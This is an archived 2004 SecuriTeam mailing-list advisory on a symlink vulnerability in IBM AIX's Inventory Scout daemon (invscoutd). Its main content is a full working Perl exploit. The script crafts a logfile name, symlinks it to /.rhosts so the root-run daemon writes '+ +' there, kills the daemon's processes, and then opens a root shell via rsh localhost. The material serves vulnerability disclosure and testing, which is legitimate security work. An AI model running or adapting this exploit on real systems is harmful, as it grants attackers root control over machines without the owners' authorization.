

Securiteam: [EXPL] IBM AIX Inventory Scout Log File Vulnerability (invscoutd)

[EXPL] IBM AIX Inventory Scout Log File Vulnerability (invscoutd)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-07/0042.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 07/13/04

To: list@securiteam.com

Date: 13 Jul 2004 16:35:54 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

IBM AIX Inventory Scout Log File Vulnerability (invscoutd)

SUMMARY

Inventory Scout daemon is "a daemon that surveys the host system for currently installed microcode or Vital Product Data (VPD)". A vulnerability in Inventory Scout due to insecure use of the logfile command line option by invscoutd allows a local attacker to carefully constructed logfile name in conjunction with a symbolic link attack to create or append to arbitrary files with root privileges.

The following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Vulnerable Systems:

- * AIX 4.3.3
- * AIX 5.1
- * Inventory Scout Daemon version 2.0.2
- * Inventory Scout version 1.3.0.0

Exploit:

Securiteam: [EXPL] IBM AIX Inventory Scout Log File Vulnerability (invscoutd)

```
#!/usr/bin/perl
# FileName: x_invscoutd.pl
# Exploit invscoutd of Aix4.x & 5L to get a uid=0 shell.
# Tested : on Aix4.3.3 & Aix5.1.
# Some high version of invscoutd is not affected.
# Author : watercloud@nsfocus.com
# watercloud@xfocus.org
# Date : 2003-5-29
# Announce: use as your owner risk!

$LOG="/tmp/.ex/.hello\n+ +\nworld";
$CMD="/usr/sbin/invscoutd";
umask 022;
mkdir "/tmp/.ex",0777;

print "Exploit error on kill process invscoutd !!" ,exit 1
  if &killproc() == 0;

symlink "/.rhosts",$LOG;
system $CMD,"-p7321",$LOG; &killproc();
unlink $LOG;
print "\n=====Remember to remove /.rhosts !!\n";
print "rsh localhost -l root '/bin/sh -i'\n";
print "waiting . . . . \n";
system "rsh","localhost","-l","root","/bin/sh -i";

system $CMD,"-p808","/dev/null" ; &killproc();
rmdir "/tmp/.ex";

sub killproc() {
  $_=`ps -ef |grep invscoutd |grep -v grep |grep -v perl`;
  @proc_lst=split;
  $ret=kill 9,$proc_lst[1] if $proc_lst[1];
  $ret=-1 if ! defined $ret;
  return $ret;
}
#EOF
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:watercloud@nsfocus.com>
watercloud.

The original article can be found at:
<<http://xfocus.net/articles/200406/710.html>>
<http://xfocus.net/articles/200406/710.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com

Securiteam: [EXPL] IBM AIX Inventory Scout Log File Vulnerability (invscoutd)

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.